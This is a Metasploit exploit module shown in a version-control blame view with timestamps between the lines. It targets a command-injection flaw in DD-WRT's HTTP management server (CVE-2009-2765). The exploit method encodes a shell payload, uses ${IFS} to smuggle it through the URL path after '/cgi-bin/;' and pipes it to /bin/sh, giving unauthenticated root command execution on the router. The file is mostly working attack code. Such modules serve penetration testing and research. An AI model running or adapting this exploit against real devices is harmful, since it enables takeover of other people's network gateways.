2009-07-21 12:56:42 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2009-11-12 16:13:51 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-07-21 12:56:42 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-07-21 12:56:42 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2009-07-21 12:56:42 +00:00
|
|
|
|
2010-07-07 17:38:59 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /DD-WRT/ ] }
|
|
|
|
|
2010-07-07 01:33:38 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2009-07-21 12:56:42 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2009-11-12 16:13:51 +00:00
|
|
|
super(update_info(info,
|
2009-07-21 12:56:42 +00:00
|
|
|
'Name' => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module abuses a metacharacter injection vulnerability in the
|
|
|
|
HTTP management server of wireless gateways running DD-WRT. This flaw
|
|
|
|
allows an unauthenticated attacker to execute arbitrary commands as
|
|
|
|
the root user account.
|
2009-07-21 12:56:42 +00:00
|
|
|
},
|
2009-07-23 11:51:24 +00:00
|
|
|
'Author' => [ 'gat3way', 'hdm' ],
|
2009-07-21 12:56:42 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-07-07 17:38:59 +00:00
|
|
|
[ 'CVE', '2009-2765' ],
|
2009-07-27 14:05:23 +00:00
|
|
|
[ 'OSVDB', '55990' ],
|
2009-07-21 12:56:42 +00:00
|
|
|
[ 'BID', '35742' ],
|
2012-06-28 19:27:12 +00:00
|
|
|
[ 'EDB', '9209' ]
|
2009-07-21 12:56:42 +00:00
|
|
|
],
|
|
|
|
'Platform' => ['unix'],
|
2009-11-12 16:13:51 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Privileged' => true,
|
2009-07-21 12:56:42 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'DisableNops' => true,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'RequiredCmd' => 'generic netcat-e'
|
|
|
|
}
|
2009-07-21 12:56:42 +00:00
|
|
|
},
|
2009-11-12 16:13:51 +00:00
|
|
|
'Targets' =>
|
2009-07-21 12:56:42 +00:00
|
|
|
[
|
|
|
|
[ 'Automatic Target', { }]
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jul 20 2009'
|
|
|
|
))
|
2009-07-21 12:56:42 +00:00
|
|
|
end
|
2009-11-12 16:13:51 +00:00
|
|
|
|
2009-07-21 12:56:42 +00:00
|
|
|
def exploit
|
2010-07-07 01:33:38 +00:00
|
|
|
|
2009-11-12 16:13:51 +00:00
|
|
|
cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
|
2010-07-07 01:33:38 +00:00
|
|
|
# TODO: force use of echo-ne CMD encoder
|
2009-07-21 12:56:42 +00:00
|
|
|
str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
|
2009-11-12 16:13:51 +00:00
|
|
|
|
2009-07-21 12:56:42 +00:00
|
|
|
print_status("Sending GET request with encoded command line...")
|
2010-07-07 01:33:38 +00:00
|
|
|
send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })
|
2010-06-25 16:09:33 +00:00
|
|
|
|
|
|
|
print_status("Giving the handler time to run...")
|
2009-07-21 12:56:42 +00:00
|
|
|
handler
|
2010-06-25 16:09:33 +00:00
|
|
|
|
|
|
|
select(nil, nil, nil, 10.0)
|
2009-07-21 12:56:42 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|